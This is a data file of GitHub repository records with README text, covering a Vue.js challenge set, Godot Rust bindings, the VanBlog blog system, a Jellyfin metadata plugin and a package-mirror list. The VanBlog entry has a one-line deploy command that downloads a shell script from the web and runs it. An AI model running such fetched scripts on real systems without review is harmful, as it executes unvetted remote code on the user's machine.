webfansplz/vuejs-challenges	<p align='center'> <img src='./logo.png' width='200'/> </p> <p align='center'> Collection of Vue.js challenges </p> <p align='center'> English \| <a href='./README.zh-CN.md'>简体中文</a> </p> ## 📖 Introduction I love `Vue.js` ♥️. It's so Awesome 🚀. It helps me finish my work well and build applications. I was looking for a project for everyone to learn `Vue.js` together, and that's why this project was born. I believe we can grow together here, and hope it helps you. This project is aimed at helping you better understand `Vue.js`, writing your own utilities, or just having fun with the challenges. We are also trying to form a community where you can ask questions and get answers you have faced in the real world - they may become part of the challenges! ## ✏️ Challenges > Click the following badges to see details of the challenges. <!--challenges-start--> <img src="https://img.shields.io/badge/warm--up-1-teal" alt="1"/><br><a href="./questions/1-hello-word/README.md" target="_blank"><img src="https://img.shields.io/badge/-1%E3%83%BBHello%20World-teal" alt="1・Hello World"/></a> <br><br><img src="https://img.shields.io/badge/easy-13-7aad0c" alt="13"/><br><a href="./questions/2-ref-family/README.md" target="_blank"><img src="https://img.shields.io/badge/-2%E3%83%BBref%20family-7aad0c" alt="2・ref family"/></a> <a href="./questions/3-losing-reactivity/README.md" target="_blank"><img src="https://img.shields.io/badge/-3%E3%83%BBlosing--reactivity-7aad0c" alt="3・losing-reactivity"/></a> <a href="./questions/4-writable-computed/README.md" target="_blank"><img src="https://img.shields.io/badge/-4%E3%83%BBwritable--computed-7aad0c" alt="4・writable-computed"/></a> <a href="./questions/5-watch-family/README.md" target="_blank"><img src="https://img.shields.io/badge/-5%E3%83%BBwatch%20family-7aad0c" alt="5・watch family"/></a> <a href="./questions/6-shallow-ref/README.md" target="_blank"><img src="https://img.shields.io/badge/-6%E3%83%BBshallow%20ref-7aad0c" alt="6・shallow ref"/></a> <a href="./questions/9-dependency-injection/README.md" target="_blank"><img src="https://img.shields.io/badge/-9%E3%83%BBDependency%20Injection-7aad0c" alt="9・Dependency Injection"/></a> <a href="./questions/10-lifecycle/README.md" target="_blank"><img src="https://img.shields.io/badge/-10%E3%83%BBLifecycle%20Hooks-7aad0c" alt="10・Lifecycle Hooks"/></a> <a href="./questions/11-next-dom-update/README.md" target="_blank"><img src="https://img.shields.io/badge/-11%E3%83%BBNext%20DOM%20update%20flush-7aad0c" alt="11・Next DOM update flush"/></a> <a href="./questions/13-dom-portal/README.md" target="_blank"><img src="https://img.shields.io/badge/-13%E3%83%BBDOM%20Portal-7aad0c" alt="13・DOM Portal"/></a> <a href="./questions/14-dynamic-css-values/README.md" target="_blank"><img src="https://img.shields.io/badge/-14%E3%83%BBDynamic%20css%20values-7aad0c" alt="14・Dynamic css values"/></a> <a href="./questions/243-prevent-event-propagation/README.md" target="_blank"><img src="https://img.shields.io/badge/-243%E3%83%BBprevent%20event%20propagation-7aad0c" alt="243・prevent event propagation"/></a> <a href="./questions/305-capitalize/README.md" target="_blank"><img src="https://img.shields.io/badge/-305%E3%83%BBCapitalize-7aad0c" alt="305・Capitalize"/></a> <a href="./questions/323-prop-validation/README.md" target="_blank"><img src="https://img.shields.io/badge/-323%E3%83%BBProp%20Validation-7aad0c" alt="323・Prop Validation"/></a> <br><br><img src="https://img.shields.io/badge/medium-14-d9901a" alt="14"/><br><a href="./questions/7-raw-api/README.md" target="_blank"><img src="https://img.shields.io/badge/-7%E3%83%BBRaw%20API-d9901a" alt="7・Raw API"/></a> <a href="./questions/8-effect-scope/README.md" target="_blank"><img src="https://img.shields.io/badge/-8%E3%83%BBeffectScope%20API-d9901a" alt="8・effectScope API"/></a> <a href="./questions/12-optimize-perf-directive/README.md" target="_blank"><img src="https://img.shields.io/badge/-12%E3%83%BBOptimize%20performance%20directive-d9901a" alt="12・Optimize performance directive"/></a> <a href="./questions/15-useToggle/README.md" target="_blank"><img src="https://img.shields.io/badge/-15%E3%83%BBuseToggle-d9901a" alt="15・useToggle"/></a> <a href="./questions/16-until/README.md" target="_blank"><img src="https://img.shields.io/badge/-16%E3%83%BBuntil-d9901a" alt="16・until"/></a> <a href="./questions/17-useCounter/README.md" target="_blank"><img src="https://img.shields.io/badge/-17%E3%83%BBuseCounter-d9901a" alt="17・useCounter"/></a> <a href="./questions/18-useLocalStorage/README.md" target="_blank"><img src="https://img.shields.io/badge/-18%E3%83%BBuseLocalStorage-d9901a" alt="18・useLocalStorage"/></a> <a href="./questions/19-v-focus/README.md" target="_blank"><img src="https://img.shields.io/badge/-19%E3%83%BBv--focus-d9901a" alt="19・v-focus"/></a> <a href="./questions/20-v-debounce-click/README.md" target="_blank"><img src="https://img.shields.io/badge/-20%E3%83%BBv--debounce--click-d9901a" alt="20・v-debounce-click"/></a> <a href="./questions/21-functional-component/README.md" target="_blank"><img src="https://img.shields.io/badge/-21%E3%83%BBfunctional%20component-d9901a" alt="21・functional component"/></a> <a href="./questions/25-useMouse/README.md" target="_blank"><img src="https://img.shields.io/badge/-25%E3%83%BBuseMouse-d9901a" alt="25・useMouse"/></a> <a href="./questions/27-global-css/README.md" target="_blank"><img src="https://img.shields.io/badge/-27%E3%83%BBGlobal%20CSS-d9901a" alt="27・Global CSS"/></a> <a href="./questions/218-h-render-function/README.md" target="_blank"><img src="https://img.shields.io/badge/-218%E3%83%BBrender%20function%5Bh()%5D-d9901a" alt="218・render function[h()]"/></a> <a href="./questions/232-key-modifiers/README.md" target="_blank"><img src="https://img.shields.io/badge/-232%E3%83%BBKey%20Modifiers-d9901a" alt="232・Key Modifiers"/></a> <br><br><img src="https://img.shields.io/badge/hard-5-de3d37" alt="5"/><br><a href="./questions/22-custom-element/README.md" target="_blank"><img src="https://img.shields.io/badge/-22%E3%83%BBcustom%20element-de3d37" alt="22・custom element"/></a> <a href="./questions/23-custom-ref/README.md" target="_blank"><img src="https://img.shields.io/badge/-23%E3%83%BBcustom%20ref-de3d37" alt="23・custom ref"/></a> <a href="./questions/24-v-active-style/README.md" target="_blank"><img src="https://img.shields.io/badge/-24%E3%83%BBv--active--style-de3d37" alt="24・v-active-style"/></a> <a href="./questions/26-v-model/README.md" target="_blank"><img src="https://img.shields.io/badge/-26%E3%83%BBv--model-de3d37" alt="26・v-model"/></a> <a href="./questions/208-tree-component/README.md" target="_blank"><img src="https://img.shields.io/badge/-208%E3%83%BBTree%20Component-de3d37" alt="208・Tree Component"/></a> <br><details><summary>By Tags</summary><br><table><tbody><tr><td><img src="https://img.shields.io/badge/-%23Built--ins-999" alt="#Built-ins"/></td><td><a href="./questions/13-dom-portal/README.md" target="_blank"><img src="https://img.shields.io/badge/-13%E3%83%BBDOM%20Portal-7aad0c" alt="13・DOM Portal"/></a> <a href="./questions/12-optimize-perf-directive/README.md" target="_blank"><img src="https://img.shields.io/badge/-12%E3%83%BBOptimize%20performance%20directive-d9901a" alt="12・Optimize performance directive"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23CSS%20Features-999" alt="#CSS Features"/></td><td><a href="./questions/14-dynamic-css-values/README.md" target="_blank"><img src="https://img.shields.io/badge/-14%E3%83%BBDynamic%20css%20values-7aad0c" alt="14・Dynamic css values"/></a> <a href="./questions/27-global-css/README.md" target="_blank"><img src="https://img.shields.io/badge/-27%E3%83%BBGlobal%20CSS-d9901a" alt="27・Global CSS"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Components-999" alt="#Components"/></td><td><a href="./questions/13-dom-portal/README.md" target="_blank"><img src="https://img.shields.io/badge/-13%E3%83%BBDOM%20Portal-7aad0c" alt="13・DOM Portal"/></a> <a href="./questions/323-prop-validation/README.md" target="_blank"><img src="https://img.shields.io/badge/-323%E3%83%BBProp%20Validation-7aad0c" alt="323・Prop Validation"/></a> <a href="./questions/21-functional-component/README.md" target="_blank"><img src="https://img.shields.io/badge/-21%E3%83%BBfunctional%20component-d9901a" alt="21・functional component"/></a> <a href="./questions/218-h-render-function/README.md" target="_blank"><img src="https://img.shields.io/badge/-218%E3%83%BBrender%20function%5Bh()%5D-d9901a" alt="218・render function[h()]"/></a> <a href="./questions/208-tree-component/README.md" target="_blank"><img src="https://img.shields.io/badge/-208%E3%83%BBTree%20Component-de3d37" alt="208・Tree Component"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Composable%20Function-999" alt="#Composable Function"/></td><td><a href="./questions/15-useToggle/README.md" target="_blank"><img src="https://img.shields.io/badge/-15%E3%83%BBuseToggle-d9901a" alt="15・useToggle"/></a> <a href="./questions/17-useCounter/README.md" target="_blank"><img src="https://img.shields.io/badge/-17%E3%83%BBuseCounter-d9901a" alt="17・useCounter"/></a> <a href="./questions/18-useLocalStorage/README.md" target="_blank"><img src="https://img.shields.io/badge/-18%E3%83%BBuseLocalStorage-d9901a" alt="18・useLocalStorage"/></a> <a href="./questions/25-useMouse/README.md" target="_blank"><img src="https://img.shields.io/badge/-25%E3%83%BBuseMouse-d9901a" alt="25・useMouse"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Composition%20API-999" alt="#Composition API"/></td><td><a href="./questions/2-ref-family/README.md" target="_blank"><img src="https://img.shields.io/badge/-2%E3%83%BBref%20family-7aad0c" alt="2・ref family"/></a> <a href="./questions/3-losing-reactivity/README.md" target="_blank"><img src="https://img.shields.io/badge/-3%E3%83%BBlosing--reactivity-7aad0c" alt="3・losing-reactivity"/></a> <a href="./questions/4-writable-computed/README.md" target="_blank"><img src="https://img.shields.io/badge/-4%E3%83%BBwritable--computed-7aad0c" alt="4・writable-computed"/></a> <a href="./questions/5-watch-family/README.md" target="_blank"><img src="https://img.shields.io/badge/-5%E3%83%BBwatch%20family-7aad0c" alt="5・watch family"/></a> <a href="./questions/6-shallow-ref/README.md" target="_blank"><img src="https://img.shields.io/badge/-6%E3%83%BBshallow%20ref-7aad0c" alt="6・shallow ref"/></a> <a href="./questions/9-dependency-injection/README.md" target="_blank"><img src="https://img.shields.io/badge/-9%E3%83%BBDependency%20Injection-7aad0c" alt="9・Dependency Injection"/></a> <a href="./questions/10-lifecycle/README.md" target="_blank"><img src="https://img.shields.io/badge/-10%E3%83%BBLifecycle%20Hooks-7aad0c" alt="10・Lifecycle Hooks"/></a> <a href="./questions/8-effect-scope/README.md" target="_blank"><img src="https://img.shields.io/badge/-8%E3%83%BBeffectScope%20API-d9901a" alt="8・effectScope API"/></a> <a href="./questions/23-custom-ref/README.md" target="_blank"><img src="https://img.shields.io/badge/-23%E3%83%BBcustom%20ref-de3d37" alt="23・custom ref"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Directives-999" alt="#Directives"/></td><td><a href="./questions/305-capitalize/README.md" target="_blank"><img src="https://img.shields.io/badge/-305%E3%83%BBCapitalize-7aad0c" alt="305・Capitalize"/></a> <a href="./questions/12-optimize-perf-directive/README.md" target="_blank"><img src="https://img.shields.io/badge/-12%E3%83%BBOptimize%20performance%20directive-d9901a" alt="12・Optimize performance directive"/></a> <a href="./questions/19-v-focus/README.md" target="_blank"><img src="https://img.shields.io/badge/-19%E3%83%BBv--focus-d9901a" alt="19・v-focus"/></a> <a href="./questions/20-v-debounce-click/README.md" target="_blank"><img src="https://img.shields.io/badge/-20%E3%83%BBv--debounce--click-d9901a" alt="20・v-debounce-click"/></a> <a href="./questions/24-v-active-style/README.md" target="_blank"><img src="https://img.shields.io/badge/-24%E3%83%BBv--active--style-de3d37" alt="24・v-active-style"/></a> <a href="./questions/26-v-model/README.md" target="_blank"><img src="https://img.shields.io/badge/-26%E3%83%BBv--model-de3d37" alt="26・v-model"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Event%20Handling-999" alt="#Event Handling"/></td><td><a href="./questions/243-prevent-event-propagation/README.md" target="_blank"><img src="https://img.shields.io/badge/-243%E3%83%BBprevent%20event%20propagation-7aad0c" alt="243・prevent event propagation"/></a> <a href="./questions/232-key-modifiers/README.md" target="_blank"><img src="https://img.shields.io/badge/-232%E3%83%BBKey%20Modifiers-d9901a" alt="232・Key Modifiers"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Global%20API%3AGeneral-999" alt="#Global API:General"/></td><td><a href="./questions/11-next-dom-update/README.md" target="_blank"><img src="https://img.shields.io/badge/-11%E3%83%BBNext%20DOM%20update%20flush-7aad0c" alt="11・Next DOM update flush"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Lifecycle-999" alt="#Lifecycle"/></td><td><a href="./questions/10-lifecycle/README.md" target="_blank"><img src="https://img.shields.io/badge/-10%E3%83%BBLifecycle%20Hooks-7aad0c" alt="10・Lifecycle Hooks"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Reactivity%3AAdvanced-999" alt="#Reactivity:Advanced"/></td><td><a href="./questions/6-shallow-ref/README.md" target="_blank"><img src="https://img.shields.io/badge/-6%E3%83%BBshallow%20ref-7aad0c" alt="6・shallow ref"/></a> <a href="./questions/7-raw-api/README.md" target="_blank"><img src="https://img.shields.io/badge/-7%E3%83%BBRaw%20API-d9901a" alt="7・Raw API"/></a> <a href="./questions/8-effect-scope/README.md" target="_blank"><img src="https://img.shields.io/badge/-8%E3%83%BBeffectScope%20API-d9901a" alt="8・effectScope API"/></a> <a href="./questions/23-custom-ref/README.md" target="_blank"><img src="https://img.shields.io/badge/-23%E3%83%BBcustom%20ref-de3d37" alt="23・custom ref"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Reactivity%3ACore-999" alt="#Reactivity:Core"/></td><td><a href="./questions/2-ref-family/README.md" target="_blank"><img src="https://img.shields.io/badge/-2%E3%83%BBref%20family-7aad0c" alt="2・ref family"/></a> <a href="./questions/4-writable-computed/README.md" target="_blank"><img src="https://img.shields.io/badge/-4%E3%83%BBwritable--computed-7aad0c" alt="4・writable-computed"/></a> <a href="./questions/5-watch-family/README.md" target="_blank"><img src="https://img.shields.io/badge/-5%E3%83%BBwatch%20family-7aad0c" alt="5・watch family"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Reactivity%3AUtilities-999" alt="#Reactivity:Utilities"/></td><td><a href="./questions/3-losing-reactivity/README.md" target="_blank"><img src="https://img.shields.io/badge/-3%E3%83%BBlosing--reactivity-7aad0c" alt="3・losing-reactivity"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Utility%20Function-999" alt="#Utility Function"/></td><td><a href="./questions/16-until/README.md" target="_blank"><img src="https://img.shields.io/badge/-16%E3%83%BBuntil-d9901a" alt="16・until"/></a> </td></tr><tr><td><img src="https://img.shields.io/badge/-%23Web%20Components-999" alt="#Web Components"/></td><td><a href="./questions/22-custom-element/README.md" target="_blank"><img src="https://img.shields.io/badge/-22%E3%83%BBcustom%20element-de3d37" alt="22・custom element"/></a> </td></tr></tbody></table></details> <!--challenges-end--> ## 🤝 How to Contribute There are several ways you can contribute to this project - Share your answers/solutions - Propose new challenges - Add more test cases to the existing challenges - Provide learning resources or ideas of how to solve challenges - Share the problems you have faced in real-world projects, regardless you have the solution or not - the community would help you as well. - Help others by discussing issues Just [open an issue](https://github.com/webfansplz/vuejs-challenges/issues/new/choose) and choose the corresponding template. Thanks! ## 🌸 Credits This project is highly inspired by [type-challenges](https://github.com/type-challenges/type-challenges) ♥️. [vuejs/repl](https://github.com/vuejs/repl) makes this project possible ♥️. ## 📄 License [MIT LICENSE](./LICENSE)	Collection of Vue.js challenges	challenges,vuejs-challeges,vuejs	0	14	80	177	2,439	15	4
sei-protocol/sei-chain	null	null	null	68	37	1,568	1,260	33	803	11
godot-rust/gdext	null	Rust bindings for Godot 4	game-development,gamedev,godot,rust	0	68	440	1,681	93	18	3
Mereithhh/vanblog	<p align="center"> <img src="/img/logo.svg" style="width: 200px"></img> </p> <p align="center"> <strong>VanBlog是一款简洁、实用、优雅的个人博客系统，支持全自动按需申请HTTPS证书、黑暗模式、移动端自适应和评论功能。它内置了流量统计和图床，并集成了评论系统。此外，VanBlog还具有无限的可扩展性，提供完备的后台管理面板，支持黑暗模式、移动端、一键上传剪贴板图片到图床，并带有强大的编辑器。</strong> </p> <p align="center"> <img src="https://img.shields.io/github/v/release/mereithhh/van-blog?display_name=tag" /> <img src="https://img.shields.io/docker/pulls/mereith/van-blog" /> <img src="https://img.shields.io/github/stars/mereithhh/van-blog" /> <img src="https://img.shields.io/bitbucket/issues/mereithhh/van-blog" /> <img src="https://github.com/mereithhh/van-blog/workflows/release/badge.svg" /> <img src="https://img.shields.io/badge/license-GPL%20v3-yellow.svg" /> </p> <p align="center"> <strong>项目主页: </strong> <a target="_blank" href='https://vanblog.mereith.com'>vanblog.mereith.com</a> </p> <p align="center"> <strong>Demo(后台账号密码均为 demo): </strong> <a target="_blank" href='https://blog-demo.mereith.com'>blog-demo.mereith.com</a> </p> ## 预览图 ![前台-白色](/img/合并.png) ## 特性 - [x] 快到极致的响应速度，Lighthouse 接近满分。 - [x] 独一份的按需全自动 HTTPS，甚至不用填域名。 - [x] 包括完整的前后台和服务端。 - [x] 前台和后台都为响应式设计，完美适配移动端和多尺寸设备。 - [x] 前台和后台都支持黑暗模式，并可自动切换。 - [x] 前台为静态网页（SSG），并支持秒级的增量渲染，每次改动无需重新构建全部页面。 - [x] SEO 和无障碍友好，支持自定义文章路径。 - [x] 静态网页，CDN 友好。 - [x] 版本号展示和更新提醒。 - [x] 基于 React，项目工程化，二次开发友好。 - [x] 内置强大的分析功能，可统计访客等数据。并配有精美看板。 - [x] 内嵌评论系统。 - [x] 强大的 Markdown 编辑器，支持图表和数学公式，一键插入 more 标记，一键剪切板及本地图片上传，支持自定义高亮块语法，支持 Emoji 表情选取。 - [x] TOC、草稿、代码复制、访客数、评论数、分类、标签、搜索、加密、友链、打赏、自定义导航栏。 - [x] 多个布局设置，可自定义页面细节。 - [x] 高度定制化，可添加自定义 CSS、HTML 和 JS 代码。 - [x] 支持自定义页面。 - [x] 可添加具有指定权限的协作者。 - [x] 内置图床，并支持各种 OSS 图床、github 图床（外部图床基于 picgo）等 - [x] 支持上传图片自动添加水印，无论何种图床 - [x] 支持上传图片自动压缩，无论何种图床 - [x] 极致轻量化，没有花里胡哨。页面秒切换、图片懒加载。 - [x] 脚本一键部署，多种部署方式，支持 ARM 平台。 - [x] 支持 GA、百度分析 - [x] 简单易用的后台，支持数据的导出与导入。 - [x] 支持 RSS 订阅 - [x] 完善的 API，完全利用本项目后台和服务端，自己写前端或适配其他页面生成器 - [x] 有较完善的日志记录，后台可直接查看登录日志和 Caddy 日志。 ## 快速上手/部署教程 ### 一键脚本部署 ```bash curl -L https://vanblog.mereith.com/vanblog.sh -o vanblog.sh && chmod +x vanblog.sh && ./vanblog.sh ``` 将来如果需要再次运行脚本，可以运行： ```bash ./vanblog.sh ``` ### 其他部署方式具体请移步项目文档：[快速上手](https://vanblog.mereith.com/guide/get-started.html) ## 反代请参考： [反代](https://vanblog.mereith.com/reference/reverse-proxy.html) ## 常见问题 > [备份与迁移](https://vanblog.mereith.com/guide/backup.html) > > [作者 logo 无法加载](https://vanblog.mereith.com/faq/usage.html#图片-作者-logo-加载不出来) > > [http error](https://vanblog.mereith.com/faq/deploy.html#部署后-http-error) > > [docker 镜像拉取慢](https://vanblog.mereith.com/faq/deploy.html#docker-镜像拉取慢) > > [如何外部访问数据库](https://vanblog.mereith.com/faq/deploy.html#如何在外部访问数据库) > > [如何回滚](https://vanblog.mereith.com/faq/update.html#如何回滚) > > [如何升级](https://vanblog.mereith.com/guide/update.html) > > [更新后后台报错\|\|一直加载中](https://vanblog.mereith.com/faq/update.html#升级后后台报错或持续加载) > > [开启了 https 重定向后关不掉](https://vanblog.mereith.com/faq/usage.html#开启了-https-重定向后关不掉) > > [更多常见问题](https://vanblog.mereith.com/faq/) ## 关于更新此项目会持续更新的，如果没有恶性 bug（有的话看到了会紧急修复），一般每周发一次新版本。如果遇到了问题，可以先更新试试看。 ## 交流群 - [VanBlog 交流群](https://jq.qq.com/?_wv=1027&k=5NRyK2Sw) ## 说明与文档请移步项目主页： [https://vanblog.mereith.com](https://vanblog.mereith.com) ## CHANGELOG [CHANGELOG](CHANGELOG.md) ## 开发指南 - [开发指南](https://vanblog.mereith.com/contribution.html) ## 谁在使用现在可能用的人有一些了吧 - - 如果您想把自己加进来，请提一个 [issue](https://github.com/Mereithhh/van-blog/issues/new/choose)，我会尽快添加的。 - [Mereith's Blog](https://www.mereith.com) - [前端｜面试进阶之道](https://www.whyknown.com/) - [小柴の BLOG](https://blog.sepbf.com) - [handy 的小窝](https://www.handyzyg.cn) - [GT 的官方博客](https://gt-it.net) - [無糧不聚兵‘s Blog](https://www.wongcw.cn) - [oldmoon](https://oldmoon.top) - [手艺橙](https://blog.shouyicheng.com/) - [叶继伟の blog](https://yejiwei.com) - [seek.wiki](https://seek.wiki) - [Kevin2li's Blog](https://blog.kevin2li.top/) - [joker's blog](https://jingjianqian.top) - [SnailBlog](https://blog.mldd521.com) - [Ray's Blog](https://blog.zai7lou.ml) - [阿明的小博客](https://696988.xyz/) - [老咸鱼的池塘](https://nixieka.top) - [谷粒 corn.li](https://corn.li) - [BARM Blog](https://blog.ccz.life) - [凌览社](http://www.linglan01.cn) - [Peter's blog](https://niuery.com) - [不可视之线](https://fukashinosen.club) - [我本无罪的博客](https://blog.rnaan.com/) - [还是夸张一点](https://blog.ynsites.com/) - [XiaFan's Vision](https://blog.motofans.club/) - [青菜的杂货铺](https://211222.xyz) - [笑一个吧](http://vanblog.ztunan.top) - [花菜的博客](https://blog.huacai.one) - [MrBun's Blog](https://blog.mrbun.cn) - [智芯物联的空间](https://www.tingshuo.online) - [敲代码的小盆友](https://code-child.cn) - [Tim's Life](https://zouchanglin.cn) - [吾・子风](https://5z5f.com/tag) - [LinKinHan'Blog](https://www.linkinhan.top) - [郭郭的博客](https://blog.warmplace.cn) - [小橘子](https://www.xiaojuziya.com) <!-- - [耿老师](https://transfer.teachergeng.space) --> ## TODO - [x] 精简前台 js 体积，优化性能 - [x] 精简打包体积 - [x] 集成 HTTPS 和自动证书申请续期 - [x] 后台增加登录日志 - [x] 内嵌评论系统 - [x] 支持 ARM64 - [x] 支持 mermaid 语法 - [x] 替换编辑器为 bytemd（掘金同款）（老的编辑器有些臃肿，复制偶尔会有格式会错乱的问题） - [x] 导入 md 创建文章/草稿功能 - [x] 标签管理 - [x] 黑暗模式图标样式优化 - [x] 内嵌评论的邮件通知和 webhook - [x] 自定义 css - [x] 添加自定义 script 标签 - [x] 添加自定义 html 代码 - [x] 可添加具有自定义权限的协作者 - [x] 自定义页面 - [x] RSS 订阅 - [x] 自定义高亮块语法支持 - [x] Emoji 表情选择器 - [x] 自定义导航栏 - [x] 后端性能优化一期（减少不必要的查询， ISR 防抖等） - [x] Token 管理 - [x] picgo 插件安装 - [x] 忘记密码 - [x] 分类加密 - [x] 自定义文字路径 - [x] 系统日志查看 - [ ] 快捷分享按钮 - [x] 完善可自定义上传文件的自定义页面功能（现在的自定义页面有潜在的 css 污染问题） - [x] 图片上传自动添加水印 - [x] 迁移到 pnpm，使用 workspace - [x] 增加在特定事件后触发执行自定义代码或 webhook 的扩展能力 - [x] 上传图片自动压缩功能 - [x] 批量操作文章草稿 - [ ] 插件系统 - [ ] 自定义主题（前端渲染器）系统 - [ ] 浏览器消息通知 - [ ] 文章/草稿的历史版本管理 - [ ] 精简配置项，尽可能移动到运行时配置 - [ ] 增加 ORM 层，适配更多数据库 - [ ] 增加一些 e2e 测试，集成到 CI - [ ] 国际化 ## 问题反馈请提 [issue](https://github.com/Mereithhh/van-blog/issues/new/choose) ，如无特殊情况会在一天内解决。 ## 打赏如果觉得项目不错的话可以打赏哦。您的支持就是我最大的动力！打赏时您可以备注名称，我会将您添加至打赏列表中。 <p align="center"> <img alt="打赏-微信" src="/img/wechat.jpg" style="width: 200px;margin-right: 4px;" /> <img alt="打赏-支付宝" src="/img/ali-pay.jpg" style="width: 200px" /> </p> ## 捐赠信息 PS：如果打赏时请备注捐赠者，如有遗漏请联系我添加（有时候消息多可能会漏掉，十分抱歉） \| 捐赠者 \| 捐赠金额 \| 捐赠日期 \| \| --------- \| -------- \| ---------- \| \| Sirit \| 6.66 元 \| 2022-09-01 \| \| jingcheng \| 100 元 \| 2022-09-06 \| \| mosuzi \| 100 元 \| 2022-09-08 \| \| ym679 \| 20 元 \| 2022-09-08 \| \| wangcw \| 100 元 \| 2022-09-13 \| \| ziva \| 8.80 元 \| 2022-09-15 \| \| Velen \| 50 元 \| 2022-09-18 \| \| pcz \| 50 元 \| 2022-10-19 \| ## Star 趋势图 [![Star History Chart](https://api.star-history.com/svg?repos=mereithhh/van-blog&type=Date)](https://star-history.com/#mereithhh/van-blog&Date) ## LightHouse 截图 <p align="center"> <img src="/img/lighthouse.png" style="width: 400px"></img> </p>	一款简洁实用优雅的个人博客系统	blog,nextjs,nodejs,typescript	155	8	62	1,638	174	39	5
metatube-community/jellyfin-plugin-metatube	<h1 align="center">Jellyfin Plugin MetaTube</h1> <p align="center"><b>English \| <a href="README_ZH.md">简体中文</a></b></p> <p align="center"> <img alt="Plugin Banner" src="https://metatube-community.github.io/images/banner-dark.png"/> <br/> <br/> <a href="https://github.com/metatube-community/jellyfin-plugin-metatube/actions"> <img alt="GitHub Workflow Status" src="https://img.shields.io/github/actions/workflow/status/metatube-community/jellyfin-plugin-metatube/dotnetcore.yml?branch=main&logo=github"> </a> <a href="https://github.com/metatube-community/jellyfin-plugin-metatube/search?l=c%23"> <img alt="GitHub top language" src="https://img.shields.io/github/languages/top/metatube-community/jellyfin-plugin-metatube?color=%23239120&label=.NET&logo=csharp"> </a> <a href="https://github.com/metatube-community/jellyfin-plugin-metatube/blob/main/LICENSE"> <img alt="License" src="https://img.shields.io/github/license/metatube-community/jellyfin-plugin-metatube"> </a> <a href="https://t.me/MetaTubePlugin"> <img alt="Telegram Group" src="https://img.shields.io/badge/Telegram-2CA5E0?logo=telegram&logoColor=white"> </a> <a href="https://github.com/metatube-community/jellyfin-plugin-metatube"> <img alt="Downloads" src="https://img.shields.io/github/downloads/metatube-community/jellyfin-plugin-metatube/total"> </a> <a href="https://hub.docker.com/r/metatube/metatube-server"> <img alt="Docker Pulls" src="https://img.shields.io/docker/pulls/metatube/metatube-server?logo=docker"> </a> <a href="https://github.com/metatube-community/jellyfin-plugin-metatube/releases"> <img alt="Releases" src="https://img.shields.io/github/v/release/metatube-community/jellyfin-plugin-metatube?include_prereleases&logo=smartthings"> </a> </p> ## About MetaTube Plugin for Jellyfin/Emby. ## Features - Full Metadata: Including title, overview, genres, director, actors, and studio. - Full Search: Support searching for movies and actors across various providers. - Trailer Video: Support trailers without downloading the full trailer videos. - Scheduled Task: Automatically organize metadata genres and update plugin. - Face Detection: Cut primary image with face centered by face detection engine. - Auto Translation: Support translate certain metadata to preferred language. ## Platforms [![Jellyfin](https://img.shields.io/static/v1?color=%2300A4DC&style=for-the-badge&label=Jellyfin&logo=jellyfin&message=10.9.x)](https://jellyfin.org/) [![Emby](https://img.shields.io/static/v1?color=%2352B54B&style=for-the-badge&label=Emby&logo=emby&message=4.8.x)](https://emby.media/) _NOTE: This project will only support stable versions._ ## Documentation - [Plugin installation](https://metatube-community.github.io/wiki/plugin-installation/) - [Server deployment](https://metatube-community.github.io/wiki/server-deployment/) - [File naming rules](https://metatube-community.github.io/wiki/naming-rules/) - [Auto translation](https://metatube-community.github.io/wiki/auto-translation/) - [Build from source](https://metatube-community.github.io/wiki/build-from-source/) - [Metadata providers](https://metatube-community.github.io/wiki/metadata-providers/) Full documentation and examples can be found at [Wiki](https://metatube-community.github.io/wiki/). ## Community Welcome and feel free to ask any questions at [Discussions](https://github.com/metatube-community/jellyfin-plugin-metatube/discussions). ## Licence This plugin is released under the [MIT](https://github.com/metatube-community/jellyfin-plugin-metatube/blob/main/LICENSE) License. ## Star History [![Star History Chart](https://api.star-history.com/svg?repos=metatube-community/jellyfin-plugin-metatube&type=Date)](https://star-history.com/#metatube-community/jellyfin-plugin-metatube&Date)	MetaTube Plugin for Jellyfin/Emby	emby-plugin,jellyfin-plugin,auto-translation,face-detection,metatube,synology,emby,jellyfin,dotnet	23	7	30	513	16	2	2
eryajf/Thanks-Mirror	<div align="center"> # Thanks Mirror [![Auth](https://img.shields.io/badge/Auth-eryajf-ff69b4)](https://github.com/eryajf) [![GitHub contributors](https://img.shields.io/github/contributors/eryajf/thanks-mirror)](https://github.com/eryajf/thanks-mirror/graphs/contributors) [![GitHub Issues](https://img.shields.io/github/issues/eryajf/thanks-mirror.svg)](https://github.com/eryajf/thanks-mirror/issues) [![GitHub Pull Requests](https://img.shields.io/github/issues-pr/eryajf/thanks-mirror)](https://github.com/eryajf/thanks-mirror/pulls) [![GitHub Pull Requests](https://img.shields.io/github/stars/eryajf/thanks-mirror)](https://github.com/eryajf/thanks-mirror/stargazers) [![HitCount](https://views.whatilearened.today/views/github/eryajf/thanks-mirror.svg)](https://github.com/eryajf/thanks-mirror) [![GitHub license](https://img.shields.io/github/license/eryajf/thanks-mirror)](https://github.com/eryajf/thanks-mirror/blob/main/LICENSE) [![](https://img.shields.io/badge/Awesome-MyStarList-c780fa?logo=Awesome-Lists)](https://github.com/eryajf/awesome-stars-eryajf#readme) <p> 整理记录各个包管理器，系统镜像，以及常用软件的好用镜像 </p> <img src="https://cdn.jsdelivr.net/gh/eryajf/tu@main/img/image_20240420_214408.gif" width="800" height="3"> </div><br> 本项目灵感来自：[package-manager-proxy-settings](https://github.com/comwrg/package-manager-proxy-settings)，该项目分享的是包管理器配置代理的方法，这里分享的是包管理器直接可用，质量好，速度快的镜像，以及一些其他常用软件，系统镜像的国内镜像。在此，对那些提供公共仓库镜像的企业或组织，致以感谢🫡！ Gitee：[https://gitee.com/eryajf/Thanks-Mirror](https://gitee.com/eryajf/Thanks-Mirror) GitHub：[https://github.com/eryajf/Thanks-Mirror](https://github.com/eryajf/Thanks-Mirror) 